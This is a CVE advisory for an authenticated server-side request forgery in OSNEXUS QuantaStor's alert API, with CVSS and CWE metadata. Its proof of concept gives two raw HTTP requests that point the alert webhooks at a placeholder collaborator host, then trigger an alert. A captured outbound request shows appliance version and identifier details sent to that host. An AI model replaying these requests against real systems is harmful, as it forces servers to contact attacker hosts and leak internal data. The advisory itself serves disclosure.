CVE-2021-42079 SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1

Host: <HOSTNAME> 
Accept-Encoding: gzip, deflate

Accept: */*
Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> 
Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 
HTTP/1.1

Host: <HOSTNAME> 
Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> 
Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this:
{
 
### Python FLASK stuff ####

 'endpoint': 'index', 
 
'method': 'POST', 
 
'cookies': ImmutableMultiDict([]), 
 
### END Python FLASK stuff ####

 
'data': b'{ 
  "attachments": [ 
   {

    "fallback": "[122] test / test.",

    "color": "#aa2222",

    "title": "[122] test",

    "text": "test",

    "fields": [   
     {    

      "title": "Alert Severity",
        
      "value": "CRITICAL",
        
      "short": false  
     },  {   
      "title": "Appliance",     
      "value": "quantastor (https://<HOSTNAME>)",
      
      "short": true  

     },  {    

      "title": "System / Driver / Kernel Ver",    

      "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",    

      "short": false  

     },  {    

      "title": "System Startup",    

      "value": "Fri Aug  6 16-02-55 2021",    

      "short": true  

          },  {    

      "title": "SSID",    

      "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",    

      "short": true  

     },
    ],

    "footer": "QuantaStor Call-home Alert",

    "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

    "ts": 1628461774
   }
  ], 
  "mrkdwn":true 
 }', 
 #### FLASK REQUEST STUFF #####

 'headers': {

  'Host': '<redacted>', 
  'User-Agent': 'curl/7.58.0', 
  'Accept': '*/*', 
  'Content-Type': 'application/json', 
  'Content-Length': '790'

 }, 
 'args': ImmutableMultiDict([]), 
 'form': ImmutableMultiDict([]), 
 'remote_addr': '217.103.63.173', 
 'path': '/payload/58', 
 'whois_ip': 'TNF-AS, NL'
}

#### END FLASK REQUEST STUFF #####
Problem types: cwe_id: CWE-918
description: CWE-918 Server-Side Request Forgery (SSRF)
Affected products: vendor: OSNEXUS
product: QuantaStor
default_status: unknown
CVSS v3.1: attackComplexity: LOW
attackVector: NETWORK
availabilityImpact: NONE
baseScore: 6.2
baseSeverity: MEDIUM
confidentialityImpact: HIGH
integrityImpact: NONE
privilegesRequired: HIGH
scope: CHANGED
userInteraction: REQUIRED
vectorString: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
version: 3.1
Credits: lang: en
value: Wietse Boonstra (DIVD)
lang: en
value: Frank Breedijk (DIVD)
lang: en
value: Victor Pasman (DIVD)
lang: en
value: Victor Gevers (DIVD)
lang: en
value: Max van der Horst (DIVD)
lang: en
value: Célistine Oosting (DIVD)
Published: 2023-07-10T06:29:48.339Z